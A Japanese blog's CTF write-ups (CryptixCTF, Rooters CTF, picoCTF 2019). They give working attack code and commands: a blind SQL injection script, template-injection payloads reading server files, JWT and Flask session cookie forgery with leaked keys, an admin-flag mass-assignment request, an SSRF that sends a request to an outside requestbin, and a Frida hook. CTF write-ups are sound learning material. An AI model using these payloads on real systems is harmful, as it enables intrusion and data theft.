こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CryptixCTF'19 Writeup - Pure Magic

普通のBlind SQL Injectionの問題だが、いつも適当にリニアサーチで解いていたところをバイナリサーチで実装したので、メモとして残しておく。

Question

Like all fairy tails, you need a passphrase to pass through the cave and get the flag!

https://cryptixctf.com/web3

NOTE: The flag format is flag{XXXXX} as usual.

f:id:graneed:20191013204113p:plain

Solution

' or 1=1#を入力すると以下の表示。

You thought it would be that easy?! Hahaha. There is no flag.
But since you have passed the phrase check, here is the query
SELECT * FROM data where password='XXXXX' :)

Blind SQL Injectionでパスフレーズを特定する。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
import time

URL = 'https://cryptixctf.com/web3/login.php'
target = ""

def trace_request(req):
    print("[+] request start")
    print('{}\n{}\n\n{}'.format(
        req.method + ' ' + req.url,
        '\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        req.body,
    ))
    print("[+] request end")

def trace_response(res):
    print("[+] response start")
    print('{}\n{}\n\n{}'.format(
        res.status_code,
        '\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        res.content,
    ))
    print("[+] response end")

def challenge(offset, guess):
    req = requests.Request(
        'POST',
        URL,
        data={
            "pwd" : "' or ASCII(SUBSTRING((select password from data limit 0, 1),{},1)) < {} #".format(offset + 1, guess)
        }
    )
    prepared = req.prepare()
    #trace_request(prepared)
    session = requests.Session()
    #start = time.time() # TimeBased用
    res = session.send(prepared, allow_redirects = False)
    #elapsed_time = time.time() - start # TimeBased用
    #trace_response(res)

    if "There is no flag" in res.content.decode("utf-8"):
        return True # 取得したい文字の文字コードは予想文字の文字コードより小さい
    else:
        return False # 取得したい文字の文字コードは予想文字の文字コード以上

def binarySearch(offset):
    low = 0
    high = 256

    while low <= high:
        guess = (low + high) // 2
        is_target_lessthan_guess = challenge(offset, guess)
        if is_target_lessthan_guess:
            high = guess
        else:
            low = guess

        if high == 1:
            return -1
        elif high - low == 1:
            return low

while True:
    code = binarySearch(len(target))
    if code == -1:
        break
    target += chr(code)
    print("[+] target: " + target)

print("[+] target: " + target)

実行する。

root@kali:/mnt/CTF/Contest# python3 BlindSQLInjection_binary.py 
[+] target: B
[+] target: Bl
[+] target: Bl1
[+] target: Bl1n
[+] target: Bl1nD
[+] target: Bl1nD_
[+] target: Bl1nD_S
[+] target: Bl1nD_S0
[+] target: Bl1nD_S0r
[+] target: Bl1nD_S0rc
[+] target: Bl1nD_S0rc3
[+] target: Bl1nD_S0rc3r
[+] target: Bl1nD_S0rc3r3
[+] target: Bl1nD_S0rc3r3r
[+] target: Bl1nD_S0rc3r3ry
[+] target: Bl1nD_S0rc3r3ry

flag{Bl1nD_S0rc3r3ry}がフラグ。

Rooters CTF Writeup - Web(全問)

全体的に難易度は低めで、少々思うところもある問題でしたがリハビリということで。

baby web

Question

My junior dev just set up a password protected webpage. Can you get in?

https://babyweb.rootersctf.in/

f:id:graneed:20191012035753p:plain

Solution

問題文のとおり、UNION SLEEP ' " OR - BENCHMARKの入力が塞がれている。 SQL Injectionが自明。

テキストボックスのsearch項目に、適当に入力してみる。

root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=a"
Unknown column 'a' in 'where clause'

root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=1"
SELECT * FROM users WHERE uniqueid=1
<!doctype html>
<html lang="en">
  <head>
<style>
(snip)

親切にもSQLを教えてくれる。"にも'にも括られていないようだ。

OR句を使えないため、副問合せを使用してWHERE句に合致するレコードを取得してみる。

root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -v
(snip)
HTTP/2 302 
date: Fri, 11 Oct 2019 19:07:07 GMT
content-type: text/html; charset=UTF-8
set-cookie: __cfduid=d7a0b4d65e578a5b1174535c266f610f31570820826; expires=Sat, 10-Oct-20 19:07:06 GMT; path=/; domain=.rootersctf.in; HttpOnly; Secure
x-powered-by: PHP/7.3.10
location: https://babyweb.rootersctf.in/flag0flagpleasedontsharetheflagwithrandompeoples.php?id=837461526918364526
cf-cache-status: DYNAMIC
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
server: cloudflare
cf-ray: 52431d76bff4af03-KIX

リダイレクトが発生。-Lオプションを使用してリダイレクト先を追いかけてみる。

root@kali:~# curl https://babyweb.rootersctf.in/index.php -G --data-urlencode "search=(select uniqueid from users limit 0,1)" -L
<h1>rooters{J00_kN0W_5QL_1nJ3c710n}ctf</h1>

フラグゲット。

notifyXapi

Question

web
Reynholm Industries needed a system to issue notifications/messages for their employees.
Maurice Moss, coding genius of The IT crowd, was assigned with the task to create one.
The basic idea was that upper-level employees can create and view all the notifications.
The lower-level employees shouldn't be able to read the confidential upper-level only notifications.
Is Maurice really a coding genius ?

Challenge link: https://notifyxapi.rootersctf.in/

f:id:graneed:20191012041356p:plain

Solution

まずはAPIの利用マニュアルのとおりに実行してみる。

root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv@example.com", "password": "password"}'
{"created_user":{"id":172,"user":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDgzMjgsIm5iZiI6MTU3MDc0ODMyOCwianRpIjoiMWZkN2RjMGItODZlYy00ZGNlLWJjZTMtYWZlYzVhMDIxY2UxIiwiZXhwIjoxNjAyMjg0MzI4LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.thJqkIdErj8NedPkHoN4X2LnUQ-hARC587jqKmFxlSo"}}

アカウントの属性情報としてis_adminがあるようだ。

root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv@example.com", "password": "password"}'
{"id":{"is_admin":false,"email":"vvvv@example.com","id":172},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I"}

root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3NDg0MDYsIm5iZiI6MTU3MDc0ODQwNiwianRpIjoiNTA2NGViNWItZWRhZS00ZTM3LTk2ZDgtOWIyMjRlMjIxNGI4IiwiZXhwIjoxNjAyMjg0NDA2LCJpZGVudGl0eSI6MTcyLCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.8JWiQbBqiVcMnBHvqsK42YYzS7yDAW8xIvrf9SJCf-I"

root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/"
[{"body":"hey, rosssssss","issuer":{"email":"test@test.com","id":2},"id":2,"title":"The IT Crowd"},
 {"body":"Jen Barber? Is that the internet?","issuer":{"email":"test@test.com","id":2},"id":3,"title":"The IT Crowd"},
 (snip)
]

is_admintrueにできれば、notificationsからフラグを取得できるのだろう。

アカウント登録時に突っ込んでみる。

root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/register/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv1@example.com", "password": "password", "is_admin":true}'
{"created_user":{"id":254,"user":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyMzYsIm5iZiI6MTU3MDc5MDIzNiwianRpIjoiMmQ5MzhkZGMtMzE5MC00NjdkLTk3MDctYTViYzQ4NzkxNWM2IiwiZXhwIjoxNjAyMzI2MjM2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.qgZ1SIHtbCPgk6xHIoKjw9uhtZiaHzm47p__Yk9fKSc"}}

ビンゴ。設定できたようだ。

root@kali:~# curl -X POST "https://notifyxapi.rootersctf.in/api/v1/login/" -H "Content-Type: application/json" \
> -d '{"email": "vvvv1@example.com", "password": "password"}'
{"id":{"email":"vvvv1@example.com","is_admin":true,"id":254},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ"}

root@kali:~# export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1NzA3OTAyNzYsIm5iZiI6MTU3MDc5MDI3NiwianRpIjoiM2Y0ZjBkOGUtYmQyMi00ZWUwLThkYWUtYTU5ZmNmNmY5NWZkIiwiZXhwIjoxNjAyMzI2Mjc2LCJpZGVudGl0eSI6MjU0LCJmcmVzaCI6ZmFsc2UsInR5cGUiOiJhY2Nlc3MifQ.I5tsrUKZL6Uc0rM8AzwVORCZZzmJafB-N7lC8X9qtQQ"

root@kali:~# curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "https://notifyxapi.rootersctf.in/api/v1/notifications/"
[{"title":"flag","issuer":{"email":"admin@test.com","id":1},"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","id":1},
 (snip)
]

フラグゲット。

I <3 Flask

Question

meme

Challenge Link: iloveflask

f:id:graneed:20191012042008p:plain

Solution

特に入力パラメータが見つからない。

しばらく悩むが、問題文のmemeのリンク先の画像を眺める。

View post on imgur.com
imgur.com

名前がflask。

root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{7*7}}" -s | grep hearts
  <title>I &hearts; Flask</title>
        <a class="navbar-brand mr-4" href="/">I &hearts; Flask</a>
    I &hearts; Flask & 49

お。

Template Injection自明。
ディレクトリリスティングする。

root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__.__getitem__('os').listdir('./')}}" -s | grep hearts
  <title>I &hearts; Flask</title>
        <a class="navbar-brand mr-4" href="/">I &hearts; Flask</a>
    I &hearts; Flask & ['flag.txt', 'templates', 'application.py', 'static', 'requirements.txt']

flag.txtを発見。

root@kali:~# curl https://iloveflask.rootersctf.in/ -G --data-urlencode "name={{url_for.__globals__['__builtins__'].open('flag.txt').read()}}" -s | grep hearts
  <title>I &hearts; Flask</title>
        <a class="navbar-brand mr-4" href="/">I &hearts; Flask</a>
    I &hearts; Flask & rooters{I_still_love_flask_fd02a527ca93ff0a}ctf

フラグゲット。

imgXweb

Question

Image hosting. Soo boring, I know.

Challenge Link: https://imgxweb.rootersctf.in/

f:id:graneed:20191012042447p:plain

Solution

アカウントを作成してログインすると、画像をアップロードできる。 アップロードファイルの拡張子やファイルタイプのチェックはしていない。

robots.txtを確認。

root@kali:~# curl https://imgxweb.rootersctf.in/robots.txt
User-agent: * 
Disallow: /static/secretkey.txt

root@kali:~# curl https://imgxweb.rootersctf.in/static/secretkey.txt
you-will-never-guess

Cookieを見るとセッションはJWTの形式。
頂いたsecretkeyを使用してセッションを改ざんしてadminに成りすますだけ。

jwt.io

PAYLOADに{"user": "admin"}、VERIFY SIGNATUREのテキストボックスにyou-will-never-guessを入力し、生成したJWT形式の文字列をCookieのsession_idにセットしてページをリロードする。

f:id:graneed:20191012042845p:plain

フラグ文字列が書いてある画像がアップロードされている。

f:id:graneed:20191012042903p:plain

フラグゲット。

rooters{I_hope_you_got_rick_rolled_but_you_made_it_so_hoorayyy}ctf

searchXapi

Question

The searchXapi loads data from different APIs present on the web, and lets you search for specific terms.

Challenge Link: https://searchxapi.rootersctf.in

f:id:graneed:20191012043030p:plain

Solution

URLとSearch Termを入力可能。
サイトの記載によると、入力可能なURLはhttps://searchxapi.rootersctf.in/booksのみ。

root@kali:~# curl https://searchxapi.rootersctf.in/books -s | jq
{
  "status": "OK",
  "copyright": "Copyright (c) 2019 The New York Times Company.  All Rights Reserved.",
  "num_results": 9,
  "results": [
    {
      "title": "ETIQUETTE AND ESPIONAGE",
      "description": "Sophronia is sent to an unusual finishing school.",
      "contributor": "by Gail Carriger",
      "author": "Gail Carriger",
      "contributor_note": "",
      "price": 0,
      "age_group": "Ages 11 to 15",
      "publisher": "Little, Brown & Company",
      "isbns": [
        {
          "isbn10": "031619008X",
          "isbn13": "9780316190084"
        }
      ],
      "ranks_history": [
        {
          "primary_isbn10": "031619008X",

URLの先のAPIにアクセスして、Search Termの条件に合致したデータを返却してくれるようなサービスなのだろうか。 ただ、Search Termに入力してもNo resultsが返却される。 URLに自サイトのURLを入力してもInvalid URL!が返却される。

しばらく悩むが手詰り。駄目元でBAN覚悟でdirbをかける。

root@kali:~# dirb https://searchxapi.rootersctf.in/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Oct 12 03:15:26 2019
URL_BASE: https://searchxapi.rootersctf.in/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://searchxapi.rootersctf.in/ ----
+ https://searchxapi.rootersctf.in/books (CODE:200|SIZE:10728)                                                                                                                                                                                             
+ https://searchxapi.rootersctf.in/redirect (CODE:302|SIZE:207)                                                                                                                                                                                            
                                                                                                                                                                                                                                                           
-----------------
END_TIME: Sat Oct 12 03:27:12 2019
DOWNLOADED: 4612 - FOUND: 2

/redirectが見つかった。パラメータをguessする。

root@kali:~# curl https://searchxapi.rootersctf.in/redirect?uri=aaa
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="aaa">aaa</a>.  If not click the link.

uriパラメータの存在を確認。オープンリダイレクトの脆弱性を使うようだ。

requestbinでリクエストを待ち受けてみる。

root@kali:~# curl https://searchxapi.rootersctf.in/ --data-urlencode "url=https://searchxapi.rootersctf.in/redirect?uri=http://requestbin.net/r/wutneswu" -d "search_term=a"

f:id:graneed:20191012044217p:plain

フラグゲット。

rooters{Listen_to_this_bit.do/fccPs}ctf



最後に、問題サイトのRulesのページから抜粋したものを転記しておく。

3 - Needless to say: no bruteforcing (you'll never guess, anyway);
6 - Automated vulnerability scanners on web challenges will get you banned for 5 mins;

ふむ。

picoCTF 2019 Writeup - Empire3, droids4

チームとしては全完し、自分はWeb問とAndroidのRev問とForensics問を幾つか解いた。
問題数が多いため、配点が高い問題から2問だけWriteupを記載。

Empire3 500

Question

Agent 513! One of your dastardly colleagues is laughing very sinisterly! 
Can you access his todo list and discover his nefarious plans?
https://2019shell1.picoctf.com/problem/12277/ or http://2019shell1.picoctf.com:12277

f:id:graneed:20191012051214p:plain

Solution

ToDo登録機能にTemplate Injectionの脆弱性あり。 {{config}}を入力すると、SECRET_KEYが確認できる。

Very Urgent: <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '060931fb0b0021e20a246fc3a1268559', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>

SECRET_KEYがわかればセッションを改ざんして署名できる。 以下のツールを使う。

github.com

まずは自分のCookieのデコードおよび署名があっているか確認する。

(venv3) root@kali:/mnt/CTF/Contest# python3 flask_session_cookie_manager3.py decode -c ".eJwljzGKAzEMAP_iOoVsyZaUzyySLHMhcAe7SRXy92y4bpqBmVfZ1p7HT7k-9mdeynab5VrSuY_oBgCM7tbZs5uiQCBkNBdsYhySqsknkM6qJKsFwFq4oApXwGlWyYRhSrgyr45VsSW1ihMgByqQEUwX8ghlCuoZWS4ljn1tj797_p49rVOzHHOAJMmIqEykjg2riH8Z0KjO03seuf9PaHl_AGYPPcQ.XY8dnA.1fUncoofz1BPhyXhBSrNTOuPGes" -s "060931fb0b0021e20a246fc3a1268559"
{'_fresh': True, '_id': 'eb756c5a00073bba57be5a9380c30ec2b8328a7c8e99e7a7c49d1948f2c00ff3f0187103daa14a870d8cb977f531932e4213d00e63904a40db84bcc974c45ece', 'csrf_token': '2542ae6d608e486cc17449b323188b744903a41d', 'user_id': '9'}

エラーが出ないので、SECRET_KEYは合っている。改ざんする。

(venv3) root@kali:/mnt/CTF/Contest# python3 flask_session_cookie_manager3.py encode -s "060931fb0b0021e20a246fc3a1268559" -t "{'_fresh': True, '_id': 'eb756c5a00073bba57be5a9380c30ec2b8328a7c8e99e7a7c49d1948f2c00ff3f0187103daa14a870d8cb977f531932e4213d00e63904a40db84bcc974c45ece', 'csrf_token': '2542ae6d608e486cc17449b323188b744903a41d', 'user_id': '2'}"
.eJwljzGKAzEMAP_iOoVsyZaUzyySLHMhcAe7SRXy92y4bpqBmVfZ1p7HT7k-9mdeynab5VrSuY_oBgCM7tbZs5uiQCBkNBdsYhySqsknkM6qJKsFwFq4oApXwGlWyYRhSrgyr45VsSW1ihMgByqQEUwX8ghlCuoZWS4ljn1tj797_p49rVOzHHOAJMmIqEykjg2riH8Z0KjO03seuf9PtPL-AGX6Pb0.XY8kYw.GlisqqCEYaUiTrJLDpG9Z64CH5w

生成したCookieをブラウザにセットして画面をリロードすると、無事に成りすましできた。ToDo確認画面にフラグがあった。

Very Urgent: Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_5cb798fc}

フラグゲット。

droids4 500

Question

reverse the pass, patch the file, get the flag. Check out this file. 
You can also find the file in /problems/droids4_0_99ba4f323d3d194b5092bf43d97e9ce9.

Solution

apkファイルをapktoolとdex2jarでjarファイルにしてjadで解析する。

FlagstaffHillクラスを確認する。

package com.hellocmu.picoctf;

import android.content.Context;

public class FlagstaffHill
{
  public static native String cardamom(String paramString);
  
  public static String getFlag(String paramString, Context paramContext)
  {
    StringBuilder localStringBuilder1 = new StringBuilder("aaa");
    paramContext = new StringBuilder("aaa");
    StringBuilder localStringBuilder2 = new StringBuilder("aaa");
    StringBuilder localStringBuilder3 = new StringBuilder("aaa");
    localStringBuilder1.setCharAt(0, (char)(localStringBuilder1.charAt(0) + '\004'));
    localStringBuilder1.setCharAt(1, (char)(localStringBuilder1.charAt(1) + '\023'));
    localStringBuilder1.setCharAt(2, (char)(localStringBuilder1.charAt(2) + '\022'));
    paramContext.setCharAt(0, (char)(paramContext.charAt(0) + '\007'));
    paramContext.setCharAt(1, (char)(paramContext.charAt(1) + '\000'));
    paramContext.setCharAt(2, (char)(paramContext.charAt(2) + '\001'));
    localStringBuilder2.setCharAt(0, (char)(localStringBuilder2.charAt(0) + '\000'));
    localStringBuilder2.setCharAt(1, (char)(localStringBuilder2.charAt(1) + '\013'));
    localStringBuilder2.setCharAt(2, (char)(localStringBuilder2.charAt(2) + '\017'));
    localStringBuilder3.setCharAt(0, (char)(localStringBuilder3.charAt(0) + '\016'));
    localStringBuilder3.setCharAt(1, (char)(localStringBuilder3.charAt(1) + '\024'));
    localStringBuilder3.setCharAt(2, (char)(localStringBuilder3.charAt(2) + '\017'));
    if (paramString.equals("".concat(localStringBuilder2.toString()).concat(paramContext.toString()).concat(localStringBuilder1.toString()).concat(localStringBuilder3.toString()))) {
      return "call it";
    }
    return "NOPE";
  }
}

文字列をごちゃごちゃ操作しているが、 "".concat(localStringBuilder2.toString()).concat(paramContext.toString()).concat(localStringBuilder1.toString()).concat(localStringBuilder3.toString())の実行結果はalphabetsoupとなる。 しかしAndroidにアプリをインストールして画面入力しても、call itと表示されるだけである。

cardamomメソッドを呼ぶ必要がありそうだ。fridaを使用してフックする。

以下を参考にする。

FridaによるAndroidアプリの動的解析とフッキングの基礎

Android StudioからAVDを起動して、エミュレータを起動する。 なお、エミュレータで起動するイメージにNexusなど既製品を使うとroot化できないので注意。

エミュレータで起動したAndroid端末にfrida-serverを送り込んで起動する

>adb push D:\Downloads\frida-server-12.7.5-android-x86 /data/local/tmp/frida-server
>adb shell chmod 755 /data/local/tmp/frida-server
>adb shell /data/local/tmp/frida-server &

次にホストマシンにfrida-toolsを入れる。 なお、ホストマシンがWindowsの場合、Python3.7が必要だった。3.6だとエラーになった。

(venv) D:\Develop\CTF\Contest>pip install frida-tools

バイスを確認。

(venv) D:\Develop\CTF\Contest>frida-ls-devices
Id             Type    Name
-------------  ------  ---------------------
local          local   Local System
emulator-5554  usb     Android Emulator 5554
tcp            remote  Local TCP

フックするスクリプトを用意する。cardamomの引数には、alphabetsoupをセットした。
(結果的に"alphabetsoup"以外だとAndroidアプリがエラー落ちする。)

function hookClassA() {
  var FlagstaffHill = Java.use("com.hellocmu.picoctf.FlagstaffHill");
  FlagstaffHill.getFlag.implementation = function(arg1, arg2) {
    console.log("[*] getFlag called");
    return FlagstaffHill.cardamom("alphabetsoup");
  }
  console.log("[*] modified");
}

setImmediate(function() {
  console.log("[*] Starting script");

  Java.perform(function() {
    hookClassA();
  })
})

エミュレータ起動しているAndroid端末に対象のアプリをインストールして起動してから、ホストマシンでfrida起動。

(venv) D:\Develop\CTF\Contest>frida -D emulator-5554 -l frida-hook_four.js com.hellocmu.picoctf
     ____
    / _  |   Frida 12.7.5 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Attaching...
[*] Starting script
[*] modified
[Android Emulator 5554::com.hellocmu.picoctf]->

フックできたようだ。 ボタンを押下するとフラグが表示された。

picoCTF{not.particularly.silly}

フラグゲット。